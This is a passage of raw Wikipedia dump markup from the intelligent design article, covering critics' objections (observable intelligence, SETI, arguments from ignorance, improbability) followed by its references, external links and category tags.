The phrase ''intelligent'' design makes use of an assumption of the quality of an observable [[intelligence (trait)|intelligence]], a concept that has no [[scientific consensus]] definition. William Dembski, for example, has written that &quot;Intelligence leaves behind a characteristic signature.&quot; Such characteristics of intelligent agency are assumed to be [[observation|observable]] without intelligent design specifying what the criteria for the [[measurement]] of intelligence should be. Dembski, instead, asserts that &quot;in special sciences ranging from [[forensics]] to [[archaeology]] to [[SETI]] (the Search for Extraterrestrial Intelligence), appeal to a designing intelligence is indispensable.&quot;{{ref|Dembski_nat}} How this appeal is made and what this implies as to the definition of intelligence are topics left largely unaddressed. [[Seth Shostak]], a researcher with the [[SETI Institute]], refutes Dembski's claim, saying that intelligent design advocates base their inference on complexity &amp;mdash; the argument being that some biological systems are too complex to have been made by natural processes &amp;mdash; while SETI researchers are looking primarily for artificiality.{{ref|seti_id}} 

Critics say that the design detection methods proposed by proponents are radically different from conventional design detection, undermining the key elements that make it possible as legitimate science.  Intelligent design proponents, they say, are proposing both searching for a designer without knowing anything about that designer's abilities, parameters, or intentions (which scientists do know when searching for the results of human intelligence) as well as denying the very distinction between natural/artificial design that allows scientists to compare complex designed artifacts against the background of the sorts of complexity found in nature.

As a means of criticism, certain [[scientific skepticism|skeptics]] have pointed to a challenge of intelligent design derived from the study of [[artificial intelligence]]. The criticism is a counter to intelligent design claims about what makes a design intelligent, namely that &quot;no preprogrammed device can be truly intelligent, that intelligence is irreducible to natural processes.&quot;{{ref|edis}} In particular, while there is an implicit assumption that supposed &quot;intelligence&quot; or [[creativity]] of a [[computer program]] was determined by the capabilities given to it by the computer [[programmer]], artificial intelligence need not be bound to an inflexible system of rules. Rather, if a computer program can access [[randomness]] as a function, this effectively allows for a flexible, creative, and adaptive intelligence. [[Evolutionary algorithms]], a subfield of machine learning (itself a subfield of artificial intelligence), have been used to mathematically demonstrate that randomness and selection can be used to &quot;evolve&quot; complex, highly adapted structures that are not explicitly designed by a programmer. Evolutionary algorithms use the Darwinian metaphor of random mutation, selection and the survival of the fittest to solve diverse mathematical and scientific problems that are usually not solvable using conventional methods. Furthermore, forays into such areas as [[quantum computing]] seem to indicate that real probabilistic functions may be available in the future. Intelligence derived from randomness is essentially indistinguishable from the &quot;innate&quot; intelligence associated with biological organisms and poses a challenge to the intelligent design conception of whence intelligence itself is derived (namely from a designer). [[Cognitive science]] continues to investigate the nature of intelligence to that end, but the intelligent design community for the most part seems to be content to rely on the assumption that intelligence is readily apparent as a fundamental and basic property of complex systems.

===Arguments from ignorance===
[[Eugenie Scott]], along with Glenn Branch and other critics, has argued that many points raised by intelligent design proponents are [[Argument from ignorance|arguments from ignorance]].{{ref|ncseweb_02}} In the argument from ignorance, one claims that the lack of evidence for one view is evidence for another view. Scott and Branch say that intelligent design is an argument from ignorance because it relies upon a lack of knowledge for its conclusion: lacking a natural explanation, we assume intelligent cause.  They contend most scientists would reply that unexplained is not unexplainable, and that &quot;we don't know yet&quot; is a more appropriate response than invoking a cause outside of science.{{ref|ncseweb_03}}  Particularly, [[Michael Behe]]'s demands for ever more detailed explanations of the historical evolution of molecular systems seem to assume a [[dichotomy]] where either evolution or design is the proper explanation, and any perceived failure of evolution becomes a victory for design. In scientific terms, &quot;absence of [[evidence]] is not evidence of absence&quot; for naturalistic explanations of observed traits of living [[organisms]].  Scott and Branch also contend that the supposedly novel contributions proposed by intelligent design proponents have not served as the basis for any productive scientific research.

Intelligent design has also been characterized as a &quot;[[God of the gaps]]&quot; argument, which has the following form:
:*There is a gap in scientific knowledge.
:*The gap is filled with acts of God (or [[Intelligent designer]]) and therefore proves the existence of God (or [[Intelligent designer]]). 

A [[God-of-the-Gaps]] argument is the [[theological]] version of an [[argument from ignorance]].  The key feature of this type of argument is that it merely answers outstanding questions with explanations (often [[supernatural]]) that are unverifiable and ultimately themselves subject to unanswerable questions. 

====Improbable versus impossible events====

In &quot;Innumeracy: Mathematical Illiteracy and its Consequences&quot;, [[John Allen Paulos]] suggests that the apparent improbability of a given scenario cannot necessarily be taken as an indication that this scenario is therefore more unlikely than any other potential one: &quot;Rarity by itself shouldn't necessarily be evidence of anything.  When one is dealt a bridge hand of thirteen cards, the probability of being dealt that particular hand is less than one in 600 billion.  Still, it would be absurd for someone to be dealt a hand, examine it carefully, calculate that the probability of getting it is less than one in 600 billion, and then conclude that he must not have been dealt that very hand because it is so very improbable.&quot;

This argument can be seen as a rebuttal to those advocates of intelligent design who claim that only a sentient creator could have arranged the universe in such a way as to be conducive to life (see for example [[Intelligent Design#Specified complexity|specified complexity arguments]] or [[Intelligent design#Fine-tuned universe|fine-tuning arguments]]).  In this context, the probability of life &quot;evolving&quot; rather than having been &quot;created&quot; may appear unlikely at first sight, but the evidence that this is the case could be argued to be so widespread, deep, and heavily scrutinized that it would be illogical to conclude that any other (and arguably less scientifically compelling) hypothesis should take its place as the primary theory.

==See also==
{{col-begin}}
{{col-2}}
* [[Argument from evolution]]
* [[Argument from poor design]]
* [[Clockmaker hypothesis]]
* [[Cosmological argument]]
* [[Creation science]]
* [[Creationism]]
* [[Flying Spaghetti Monsterism]]
* [[Evolutionary algorithm]]
{{col-2}}
* [[Incompetent design]]
* [[Intelligent design movement]]
* [[Intelligent falling]]
* [[List of works on intelligent design]]
* [[Natural theology]]
* [[Neo-Creationism]]
* [[Teleological argument]]
{{col-end}}

* [[Wikisource:Kitzmiller v. Dover Area School District et. al.|Kitzmiller v. Dover Area School District summing up (introduction)]], [[Wikisource:Kitzmiller v. Dover Area School District 2: context|2: context]], [[Wikisource:Kitzmiller v. Dover Area School District 3: disclaimer|3: disclaimer]], [[Wikisource:Kitzmiller v. Dover Area School District 4: whether ID is science|4: whether ID is science]], [[Wikisource:Kitzmiller v. Dover Area School District 5: promoting religion|5: promoting religion]], [[Wikisource:Kitzmiller v. Dover Area School District 6: curriculum, conclusion|6: curriculum, conclusion]].

==Notes and references==
&lt;div style=&quot;font-size: 85%&quot;&gt;

&lt;!-- Intro --&gt;
# {{note|id_def}} Discovery Institute, Center for Science and Culture. Questions about Intelligent Design: What is the theory of intelligent design? &quot;''The theory of intelligent design holds that certain features of the universe and of living things are best explained by an intelligent cause, not an undirected process such as natural selection.'' &quot;[http://www.discovery.org/csc/topQuestions.php#questionsAboutIntelligentDesign]
#{{note|proponents_affiliated}} &quot;Q. Has the Discovery Institute been a leader in the intelligent design movement? A. Yes, the Discovery Institute's Center for Science and Culture. Q. And are almost all of the individuals who are involved with the intelligent design movement associated with the Discovery Institute? A. All of the leaders are, yes.&quot; [[Barbara Forrest]], 2005, testifying in the [[Kitzmiller v. Dover Area School District]] trial. [http://www.talkorigins.org/faqs/dover/day6pm.html] 
# {{note|intro_meyer}} Stephen C. Meyer, 2005. ''The Scientific Status of Intelligent Design: The Methodological Equivalence of Naturalistic and Non-Naturalistic Origins Theories''. Ignatius Press. [http://www.discovery.org/scripts/viewDB/index.php?command=view&amp;id=1780].  See also [[Darwin's Black Box]].
# {{note|overwhelming}} See [[Wikisource:Kitzmiller v. Dover Area School District 4: whether ID is science#Page 83 of 139|Kitzmiller v. Dover page 83]]. The Discovery Institute's [http://www.dissentfromdarwin.org/ Dissent From Darwin Petition] has been signed by about 500 scientists. The AAAS, the largest association of scientists in the U.S., has 120,000 members, and [http://www.aaas.org/news/releases/2002/1106id2.shtml firmly rejects ID].  More than 70,000 Australian scientists and educators [http://www.science.unsw.edu.au/news/2005/intelligent.html condemn teaching of intelligent design in school science classes]. [http://www.ncseweb.org/resources/articles/8408_statements_from_scientific_and_12_19_2002.asp List of statements from scientific professional organizations] on the status intelligent design and other forms of creationism.
#{{note|id_junkscience_1}}[http://www.newyorker.com/fact/content/articles/050530fa_fact Devolution&amp;mdash;Why intelligent design isn't.] H. Allen Orr. Annals of Science. New Yorker May 2005. Also, [[Robert T. Pennock]] ''Tower of Babel: The Evidence Against the New Creationism'' ISBN 026216180X, ISBN 0262661659.  
#{{note|nas_id_creationism_1}} &quot;[http://www.nap.edu/books/0309064066/html/25.html Creationism, Intelligent Design, and other claims of supernatural intervention in the origin of life or of species are not science]&quot; In ''Science and Creationism: A View from the National Academy of Sciences, Second Edition'' National Academy of Sciences, 1999 
&lt;!-- In summary --&gt;
#{{note|id_goal_putative}} &quot;ID's rejection of naturalism in any form logically entails its appeal to the only alternative, supernaturalism, as a putatively scientific explanation for natural phenomena. This makes ID a religious belief. In addition, my research reveals that ID is not science, but the newest variant of traditional American creationism. With only a few exceptions, it continues the usual complaints of creationists against the theory of evolution and comprises virtually all the elements of traditional creationism.&quot; [[Barbara Forrest]] April 2005 Expert Witness Report. ''[[Kitzmiller v. Dover Area School District]]''. [http://www2.ncseweb.org/kvd/experts/FORREST_EXPERT_REPORT.pdf]
#{{note|dembski_adequately_explained}} Dembski. The Design Revolution. pg. 27 2004
&lt;!-- Origin of concept --&gt;
# {{note|heraclitus}} Heraclitus of Ephesus, The G.W.T. Patrick translation [http://classicpersuasion.org/pw/heraclitus/herpatu.htm#2]
# {{note|natura_deorum}} [http://www.thelatinlibrary.com/cicero/nd.shtml The Latin Library, Cicero]
# {{note|five_ways}} Thomas Aquinas, 1265-1272. ''Summa Theologiae''. &quot;[http://www.faithnet.org.uk/AS%20Subjects/Philosophyofreligion/fiveways.htm Thomas Aquinas' 'Five Ways']&quot; In ''faithnet.org.uk'', He [[Wikisource:Kitzmiller v. Dover Area School District 2: context#Page 24 of 139|framed the argument as a syllogism]]: Wherever complex design exists, there must have been a designer; nature is complex; therefore nature must have had an intelligent designer.
&lt;!-- Origin of term --&gt;
# {{note|1868}} ''Elements of Physical Geography'', by John Brocklesby 
#{{note|times1873}} 'The British Association', ''The Times'', Saturday, 20 September, 1873; pg. 10; col A.
#{{note|times1982}} 'Evolution according to Hoyle: Survivors of disaster in an earlier world', By Nicholas Timmins, ''The Times'', Wednesday, 13 January, 1982; pg. 22; Issue 61130; col F.
#{{note|safire2005}} William Safire. 'On Language: Neo-Creo.'  ''The New York Times.'' August 21, 2005.[http://www.nytimes.com/2005/08/21/magazine/21ONLANGUAGE.html?position=&amp;ei=5090&amp;en=f2de0d764cc7e0e8&amp;ex=1282276800&amp;adxnnl=1&amp;partner=rssuserland&amp;emc=rss&amp;pagewanted=print&amp;adxnnlx=1132902202-gyP0H4EZfG7IeNHPMWlcBw]
#{{note|first_id_book}} [http://www.nabt.org/sub/evolution/panda1.asp National Association of Biology Teachers: A Reader's Guide to Of Pandas and People] [http://www.ncseweb.org/resources/articles/8442_1_introduction_iof_pandas__11_23_2004.asp National Center for Science Education: Of Pandas and People, the foundational work of the 'Intelligent Design' movement]
&lt;!-- IC --&gt;
#{{note|MillerIC}} Irreducible complexity of these examples is disputed, see Kitzmiller p 76-78, or see part 39:30--51:20 of this [http://www.pandasthumb.org/archives/2006/01/ken_miller_webc.html video presentation by Ken Miller]
&lt;!-- SC --&gt;
#{{note|sc_intdes_p47}} Dembksi. &lt;cite&gt;Intelligent Design&lt;/cite&gt;, p. 47
#{{note|time_nowak}} Nowak quoted. Claudia Wallis. Evolution Wars. Time Magazine, [[15 August]] [[2005]] edition, page 32 [http://www.time.com/time/archive/preview/0,10987,1090909,00.html]
#{{note|wilkins_elsberry}} John S. Wilkins and Wesley R. Elsberry, &quot;The Advantages of Theft over Toil: The Design Inference and Arguing from Ignorance.&quot; ''Biology and Philosophy'' '''16:''' 711-724 (2001). [http://www.springerlink.com/openurl.asp?genre=article&amp;id=doi:10.1023/A:1012282323054]
&lt;!-- Fine tuned --&gt;
#{{note|Gonzalez}} Guillermo Gonzalez, ''[[The Privileged Planet]],'' ISBN 0895260654
#{{note|PandaGonzo}} [http://www.pandasthumb.org/pt-archives/000390.html The Panda's Thumb review of The Privileged Planet].
&lt;!-- Designer --&gt;
#{{note|discovery_id_def}} &quot;''The theory of Intelligent Design holds that certain features of the universe and of living things are best explained by an intelligent cause, not an undirected process such as natural selection.''&quot; Discovery Institute. What is Intelligent Design? [http://www.discovery.org/csc/topQuestions.php#questionsAboutIntelligentDesign]
#{{note|dembski_ftu}} Dembski. The Act of Creation: Bridging Transcendence and Immanence [http://www.leaderu.com/offices/dembski/docs/bd-the_ac.html]
#{{note|Coyne}} Jerry Coyne, &quot;The Case Against Intelligent Design,&quot; ''[[The New Republic]]'', [[August 22]] [[2005]].[http://www.tnr.com/docprint.mhtml?i=20050822&amp;s=coyne082205]
#{{note|wdd3}}&quot;One need not fully understand the origin or identity of the designer to determine that an object was designed. Thus, this question is essentially irrelevant to intelligent design theory, which merely seeks to detect if an object was designed... Intelligent design theory cannot address the identity or origin of the designer--it is a philosophical / religious question that lies outside the domain of scientific inquiry. Christianity postulates the religious answer to this question that the designer is God who by definition is eternally existent and has no origin. There is no logical philosophical impossibility with this being the case (akin to [[Aristotle]]'s 'unmoved mover') as a religious answer to the origin of the designer...&quot; FAQ: Who designed the designer? IDEA [http://www.ideacenter.org/contentmgr/showdetails.php/id/1147]
#{{note|wein_designer}} Richard Wein. 2002.''Not a Free Lunch But a Box of Chocolates'' [http://www.talkreason.org/articles/choc_nfl.cfm#unembodied]
&lt;!-- Movement --&gt;
# {{note|johnson_id_neocreationism}} Phillip Johnson: &quot;''Our strategy has been to change the subject a bit so that we can get the issue of Intelligent Design, which really means the reality of God, before the academic world and into the schools.''&quot; Johnson 2004. Christianity.ca. [http://www.christianity.ca/news/social-issues/2004/03.001.html Let's Be Intelligent About Darwin].  &quot;''This isn't really, and never has been a debate about science. It's about religion and philosophy.''&quot; Johnson 1996. World Magazine. [http://www.leaderu.com/pjohnson/world2.html Witnesses For The Prosecution].  &quot;''So the question is: &quot;How to win?&quot; That's when I began to develop what you now see full-fledged in the [[Wedge strategy|&quot;wedge&quot; strategy]]: &quot;Stick with the most important thing&quot;—the mechanism and the building up of information. Get the Bible and the Book of Genesis out of the debate because you do not want to raise the so-called Bible-science dichotomy. Phrase the argument in such a way that you can get it heard in the secular academy and in a way that tends to unify the religious dissenters. That means concentrating on, &quot;Do you need a Creator to do the creating, or can nature do it on its own?&quot; and refusing to get sidetracked onto other issues, which people are always trying to do.''&quot; Johnson 2000. Touchstone magazine. [http://www.touchstonemag.com/docs/issues/15.5docs/15-5pg40.html Berkeley's Radical An Interview with Phillip E. Johnson] &quot;''I have built an intellectual movement in the universities and churches that we call The Wedge, which is devoted to scholarship and writing that furthers this program of questioning the materialistic basis of science.&quot;...&quot;Now the way that I see the logic of our movement going is like this. The first thing you understand is that the Darwinian theory isn't true. It's falsified by all of the evidence and the logic is terrible. When you realize that, the next question that occurs to you is, well, where might you get the truth?&quot;...&quot;I start with John 1:1. In the beginning was the word. In the beginning was intelligence, purpose, and wisdom. The Bible had that right. And the materialist scientists are deluding themselves.''&quot; Johnson 1999. Reclaiming America for Christ Conference. [http://www.coralridge.org/specialdocs/evolutiondebate.asp How the Evolution Debate Can Be Won] 
#{{note|discovery_fellows}} [http://www.discovery.org/fellows/ Discovery Institute fellows and staff] [http://www.discovery.org/csc/fellows.php Center for Science and Culture fellows and staff]
#{{note|johnson_john1_2}} &quot;''Now the way that I see the logic of our movement going is like this. The first thing you understand is that the Darwinian theory isn't true. It's falsified by all of the evidence and the logic is terrible. When you realize that, the next question that occurs to you is, well, where might you get the truth? ... I start with John 1:1. 'In the beginning was the word...' In the beginning was intelligence, purpose, and wisdom. The Bible had that right.''&quot; Johnson, 1999. Reclaiming America for Christ Conference. [http://www.coralridge.org/specialdocs/evolutiondebate.asp How the Evolution Debate Can Be Won] 
# {{note|forrest_wedge}} Barbara Forrest, 2001. &quot;[http://www.infidels.org/library/modern/barbara_forrest/wedge.html The Wedge at Work].&quot; from ''Intelligent Design Creationism and Its Critics''.  MIT Press.
&lt;!-- Religion --&gt;
#{{note|johnson_bible_out}} &quot;...the first thing that has to be done is to get the Bible out of the discussion. ...This is not to say that the biblical issues are unimportant; the point is rather that the time to address them will be after we have separated materialist prejudice from scientific fact.&quot; Phillip Johnson. [http://www.arn.org/docs/johnson/le_wedge.htm &quot;The Wedge,&quot; Touchstone: A Journal of Mere Christianity]. July/August 1999.
#{{note|johnson_evangelical_message}} &quot;Intelligent Design is an intellectual movement, and the Wedge strategy stops working when we are seen as just another way of packaging the Christian evangelical message. ... The evangelists do what they do very well, and I hope our work opens up for them some doors that have been closed.&quot; Phillip Johnson. &quot;Keeping the Darwinists Honest,&quot; an interview with Phillip Johnson. In Citizen Magazine. April 1999.
# {{note|intro_dembski}} William Dembski, 1998. ''The Design Inference''. Cambridge University Press
#{{note|dembski_id_christ}} Dembski. 1999. Intelligent Design; the Bridge Between Science and Theology. ''&quot;Christ is indispensable to any scientific theory, even if its practitioners don't have a clue about him. The pragmatics of a scientific theory can, to be sure, be pursued without recourse to Christ. But the conceptual soundness of the theory can in the end only be located in Christ.&quot;'' p. 210
#{{note|dembski_morris}}  Dembski. 2005. Intelligent Design's Contribution to the Debate Over Evolution: A Reply to Henry Morris.[http://www.designinference.com/documents/2005.02.Reply_to_Henry_Morris.htm]
#{{note|dembski_logos_john}} &quot;Intelligent design is just the Logos theology of John's Gospel restated in the idiom of information theory,&quot; William Dembski. Touchstone Magazine. Volume 12, Issue4. July/August, 1999  [http://touchstonemag.com/archives/issue.php?id=49]
#{{note|johnson_john1}} &quot;Now the way that I see the logic of our movement going is like this. The first thing you understand is that the Darwinian theory isn't true. It's falsified by all of the evidence and the logic is terrible. When you realize that, the next question that occurs to you is, well, where might you get the truth? When I preach from the Bible, as I often do at churches and on Sundays, I don't start with Genesis. I start with John 1:1. 'In the beginning was the word...' In the beginning was intelligence, purpose, and wisdom. The Bible had that right. And the materialist scientists are deluding themselves.&quot; Phillip E. Johnson. 1999 &lt;cite&gt;How the Evolution Debate Can Be Won&lt;/cite&gt; Reclaiming America for Christ Conference&quot;  1999. [http://www.coralridge.org/specialdocs/evolutiondebate.asp] at [http://www.reclaimamerica.org/ ReclaimAmerica.org]
#{{note|forrest_dembski_johnson_def}} &quot;What I am talking about is the essence of intelligent design, and the essence of it is theistic realism as defined by Professor Johnson. Now that stands on its own quite apart from what their motives are. I'm also talking about the definition of intelligent design by Dr. Dembski as the Logos theology of John's Gospel. That stands on its own.&quot; ... &quot;Intelligent design, as it is understood by the proponents that we are discussing today, does involve a supernatural creator, and that is my objection. And I am objecting to it as they have defined it, as Professor Johnson has defined intelligent design, and as Dr. Dembski has defined intelligent design. And both of those are basically religious. They involve the supernatural.&quot; Barbara Forrest. Expert Testimony. ''[[Kitzmiller v. Dover Area School District]]'' trial transcript, Day 6 (October 5)
&lt;!-- Debate --&gt;
#{{Note|Seattle}} [http://seattletimes.nwsource.com/html/localnews/2002225932_design31m.html Does Seattle group &quot;teach controversy&quot; or contribute to it?] [[Seattle Times]], March 31, 2005.
#{{note|nabt_statement}} [http://www.nabt.org/sub/position_statements/evolution.asp National Association of Biology Teachers Statement on Teaching Evolution]
#{{note|forrest_redef}} Barbara Forrest, 2000. &quot;[http://www.infidels.org/library/modern/barbara_forrest/naturalism.html Methodological Naturalism and Philosophical Naturalism: Clarifying the Connection].&quot; In ''Philo'', Vol. 3, No. 2 (Fall-Winter 2000), pp. 7-29.
#{{note|johnson_reason_balance}} Phillip E. Johnson in his book &quot;Reason in the Balance: The Case Against Naturalism in Science, Law and Education&quot; (InterVarsity Press, 1995), positions himself as a &quot;theistic realist&quot; against &quot;methodological naturalism.&quot;
#{{note|johnson_theistic_realism}} &quot;My colleagues and I speak of 'theistic realism'-- or sometimes, 'mere creation' -- as the defining concept of our [the ID] movement. This means that we affirm that God is objectively real as Creator, and that the reality of God is tangibly recorded in evidence accessible to science, particularly in biology.&quot; Phillip Johnson. [http://www.arn.org/docs/johnson/ratzsch.htm Starting a Conversation about Evolution]
#{{note|id_intuitive}} &quot;We are taking an intuition most people have and making it a scientific and academic enterprise,&quot; Johnson said. In challenging Darwinism with a God-friendly alternative theory, the professor, who is a Presbyterian, added, &quot;We are removing the most important cultural roadblock to accepting the role of God as creator.&quot; Phillip E. Johnson. 2001. ''Enlisting Science to Find the Fingerprints of a Creator: Believers in 'intelligent design' try to redirect evolution disputes along intellectual lines''. By Teresa Watanabe. Los Angeles Times (Sunday Front page) March 25, 2001.[http://www.discovery.org/scripts/viewDB/index.php?programs=CSCstories&amp;command=view&amp;id=613]
#{{note|belz_est}} Joel Belz, 1996. World Magazine. [http://www.leaderu.com/pjohnson/world2.html Witnesses For The Prosecution]
#{{note|johnsone_reality_of_god}} &quot;Our strategy has been to change the subject a bit so that we can get the issue of Intelligent Design, which really means the reality of God, before the academic world and into the schools.&quot; Phillip E. Johnson. [[January 10]] [[2003]] on American Family Radio [http://www.christianity.ca/news/social-issues/2004/03.001.html] In www.christianity.ca
# {{note|buell_hearn}} Jon Buell &amp; Virginia Hearn (eds), 1992. &quot;[http://ebd10.ebd.csic.es/pdfs/DarwSciOrPhil.pdf Proceedings of a Symposium entitled: Darwinism: Scientific Inference of Philosophical Preference?]&quot; ([[PDF]])
#{{note|giberson_bigbang}} Karl Giberson . [http://www.stnews.org/Commentary-2439.htm ''Intelligent design’s long march to nowhere''] Science &amp; Theology News, December 5, 2005
#{{note|behe_time}} Claudia Wallis. Evolution Wars. Time Magazine, [[15 August]] [[2005]] edition, page 32 [http://www.time.com/time/archive/preview/0,10987,1090909,00.html]
#{{note|dembski_aliens}} William Dembski in ''The Design Inference&quot; (see [[#Further reading|further reading]]) cited extraterrestrials as a possible designer [http://www.wired.com/wired/archive/12.10/evolution.html].
#{{note|pyramids_comp}} Michael J. Murray, n.d. [http://server1.fandm.edu/departments/Philosophy/staticpages/Murray/Providence.pdf &quot;Natural Providence (or Design Trouble)]&quot; ([[PDF]])
#{{note|dembski_goblins_built_pyramids}} William Dembski defends Intelligent Design from &quot;silly claim&amp;quot; that &quot;ancient technologies could not have built the pyramids, so goblins must have done it.&quot; [http://puffin.creighton.edu/NRCSE/NRCSEPosReID.html]
&lt;!-- As science --&gt;
#{{note|science_redef}} Stephen C. Meyer, 2005. ''The Scientific Status of Intelligent Design: The Methodological Equivalence of Naturalistic and Non-Naturalistic Origins Theories'' [http://www.discovery.org/scripts/viewDB/index.php?command=view&amp;id=1780]
#{{note|id_consistency}} Intelligent design is generally only internally consistent and logical within the framework in which it operates. Criticisms are that this framework has at its foundation an unsupported, unjustified assumption: That complexity and improbability must entail design, but the identity and characteristics of the designer is not identified or quantified, nor need they be. The framework of Intelligent Design, because it rests on a unquantifiable and unverifiable assertion, has no defined boundaries except that complexity and improbability require design, and the designer need not be constrained by the laws of physics.
#{{note|id_parsimony}} Intelligent design fails to pass Occam's razor. Adding  entities (an intelligent agent, a designer) to the equation is not strictly necessary to explain events.
#{{note|id_not_falsifiable}} The designer is not falsifiable, since its existence is typically asserted without sufficient conditions to allow a falsifying observation. The designer being beyond the realm of the observable, claims about its existence can neither be supported nor undermined by observation, hence making Intelligent Design and the argument from design analytic a posteriori arguments.
#{{note|id_testable}} That Intelligent Design is not empirically testable stems from the fact that Intelligent Design violates a basic premise of science, naturalism.
#{{note|id_correctable}}  Intelligent design professes to offer an answer that does not need to be defined or explained, the intelligent agent, designer. By asserting a conclusion that need not be accounted for, the designer, no further explanation is necessary to sustain it, and objections raised to those who accept it make little headway. Thus Intelligent Design is not a provisional assessment of data which can change when new information is discovered. Once it is claimed that a conclusion that need not be accounted for has been established, there is simply no possibility of future correction. The idea of the progressive growth of scientific ideas is required to explain previous data and any previously unexplainable data.
#{{note|nobellaureates_id}} The Elie Wiesel Foundation for Humanity Nobel Laureats Initiative. Intelligent design cannot be tested as a scientific theory &quot;because its central conclusion is based on belief in the intervention of a supernatural agent.&quot; [http://media.ljworld.com/pdf/2005/09/15/nobel_letter.pdf]
#{{note|au_scientists}} Intelligent Design is not Science - Scientists and teachers speak out. Faculty of Science, University of New South Wales. 20 October, 2005. [http://www.science.unsw.edu.au/news/2005/intelligent.html]
&lt;!-- Peer review --&gt;
#{{note|conspiracy_theory}} {{Web reference |author=Hawks, John |title=The President and the teaching of evolution |url=http://johnhawks.net/weblog/topics/creation/bush_intelligent_design_2005.html |publishyear=2005 |date=November 23 |year=2005}}
#{{note|templeton}} Laurie Goodstein. ''Intelligent Design Might Be Meeting Its Maker'' December 4, 2004. The New York Times. [http://www.nytimes.com/2005/12/04/weekinreview/04good.html?ex=1291352400&amp;en=feb5138e425b9001&amp;ei=5088&amp;partner=rssnyt&amp;emc=rss]
#{{note|dembski_research}} William A. Dembski [http://www.designinference.com/documents/2001.03.ID_as_nat_theol.htm . &lt;cite&gt;Is Intelligent Design a Form of Natural Theology? &lt;/cite&gt;] From Dembski's designinference.com
#{{note|dembski_pr}} Beth McMurtrie, 2001. &quot;[http://chronicle.com/free/v48/i17/17a00801.htm Darwinism Under Attack].&quot; ''The Chronicle Of Higher Education''.
#{{note|behe_peer_review}} ''[[Kitzmiller v. Dover Area School District]]'', October 19, 2005, AM session [http://www.talkorigins.org/faqs/dover/day12am.html]
#{{note|di_peer_review}} Discovery Institute. [http://www.discovery.org/scripts/viewDB/index.php?command=view&amp;id=2640&amp;program=CSC%20-%20Scientific%20Research%20and%20Scholarship%20-%20Science]
&lt;!-- Observable intelligence --&gt;
#{{note|Dembski_nat}} William Dembski. Intelligent Design? a special report reprinted from Natural History magazine April 2002. [http://www.actionbioscience.org/evolution/nhmag.html]
#{{note|seti_id}} &quot;In fact, the signals actually sought by today’s SETI searches are not complex, as the ID advocates assume. ... If SETI were to announce that we’re not alone because it had detected a signal, it would be on the basis of artificiality.&quot;  Shostak. SETI and Intelligent Design, space.com  [http://www.space.com/searchforlife/seti_intelligentdesign_051201.html]
#{{note|edis}} Taner Edis. ''Darwin in Mind: ''Intelligent Design'' Meets Artificial Intelligence.'' ''Skeptical Inquirer'' Magazine, March/April 2001 issue. [http://www.csicop.org/si/2001-03/intelligent-design.html]
&lt;!-- Ignorance --&gt;
#{{note|ncseweb_02}} Eugenie C. Scott and Glenn Branch, [http://www.ncseweb.org/resources/articles/996_intelligent_design_not_accep_9_10_2002.asp  &quot;Intelligent Design&quot; Not Accepted by Most Scientists], National Center for Science Education website, September 10, 2002.
#{{note|ncseweb_03}} ibid. [http://www.ncseweb.org/resources/articles/996_intelligent_design_not_accep_9_10_2002.asp  &quot;Intelligent Design&quot; Not Accepted by Most Scientists]

&lt;/div&gt;

==External links==
'''ID perspectives'''
*[http://www.arn.org/ Access Research Network]
*[http://www.designinference.com Design Inference: The website of William A. Dembski]
*[http://www.discovery.org Discovery Institute] (Largest promoter of Intelligent Design)
**[http://www.discovery.org/csc/ Discovery Institute, Center for Science and Culture]
*[http://www.intelligentdesignnetwork.org/ Intelligent Design Network]
*[http://www.iscid.org/ International Society for Complexity, Information, and Design (ISCID)]


'''Non-ID perspectives'''
*[http://www.intelligent-forces.com/intelligent-design-criticism.htm A Criticism of Intelligent Design] Article analyzing the main arguments put forward by ID Theory.
*[http://www.naturalhistorymag.com/darwinanddesign.html Intelligent Design?] special feature in the Natural History Magazine
*[http://www.iep.utm.edu/d/design.htm Internet Encyclopedia of Philosophy: Design Arguments for the Existence of God]
*[http://www.ncseweb.org/article.asp?category=8 National Center for Science Education articles and other resources about Intelligent Design]
*[http://www.aaas.org/news/releases/2002/1106id2.shtml Resolution from the American Association for the Advancement of Science]
*[http://www.nap.edu/openbook/0309064066/html/index.html Science and Creationism: A View from the National Academy of Sciences] Second Edition (1999)
*[http://www.talkorigins.org Talk Origins Archive] (Archive of a UseNet discussion group)
*[http://www.pamd.uscourts.gov/kitzmiller/kitzmiller_342.pdf 139 page in-depth analysis of intelligent design, irreducible complexity, and the book &quot;Of Pandas and People&quot;] by the Kitzmiller v. Dover Area School District judge
*[http://jurist.law.pitt.edu/forumy/2005/12/kitzmiller-intelligent-ruling-on.php Kitzmiller: An Intelligent Ruling on 'Intelligent Design'], [[JURIST]] 
*[http://www.pandasthumb.org/archives/2006/01/ken_miller_webc.html Ken Miller on Intelligent Design (2 hour video)]
*[http://www.csicop.org/intelligentdesignwatch/differences.html ID and Creationism]
*[http://philosophy.wisc.edu/sober/design%20argument%2011%202004.pdf The Design Argument] Elliot Sober, 2004.

'''Media articles'''
*[http://www.cjr.org/issues/2005/5/mooney.asp How the media have covered ID] ([[Columbia Journalism Review]])
*[http://www.washingtonpost.com/wp-dyn/content/article/2005/12/20/AR2005122000591.html Judge Rules Against Pa. Biology Curriculum] ([[Associated Press]])
*[http://www.csmonitor.com/2005/1221/p01s01-ussc.html Banned in biology class: intelligent design] ([[Christian Science Monitor]])
*[http://www.newyorker.com/fact/content/articles/050530fa_fact Devolution] ([[The New Yorker]])
*[http://www.nytimes.com/pages/science/sciencespecial2/ The Evolution Debate] ([[The New York Times]])
*[http://www.npr.org/templates/story/story.php?storyId=5014428 Debating Evolution in the Classroom] ([[National Public Radio|NPR]])
*[http://www.time.com/time/health/article/0,8599,1142672,00.html Darwin Victorious] ([[Time (magazine)|Time]])
*[http://www.justicetalking.org/viewprogram.asp?progID=506 Intelligent Design: Scientific Inquiry or Religious Indoctrination?] &quot;Justice Talking&quot; debate recorded 19-Apr-2005

[[Category:Intelligent design|*]]
[[Category:Issue in the Culture Wars]]
[[Category:Neo-Creationism]]
[[Category:Pseudoscience]]

[[ca:Disseny intel·ligent]]
[[da:Intelligent design]]
[[es:Diseño inteligente]]
[[eo:Inteligenta Dezajno]]
[[fr:Dessein intelligent]]
[[ko:지적 설계]]
[[id:Intelligent Design]]
[[he:תכנון תבוני]]
[[hu:Intelligens tervezés]]
[[nl:Intelligent design]]
[[ja:インテリジェント・デザイン]]
[[no:Intelligent design]]
[[pl:Teoria inteligentnego projektu]]
[[fi:Älykäs suunnittelu]]
[[sv:Intelligent design]]
[[tr:Akıllı tasarım]]
[[zh:智能设计论]]</text>
    </revision>
  </page>
  <page>
    <title>Interfaith organizations</title>
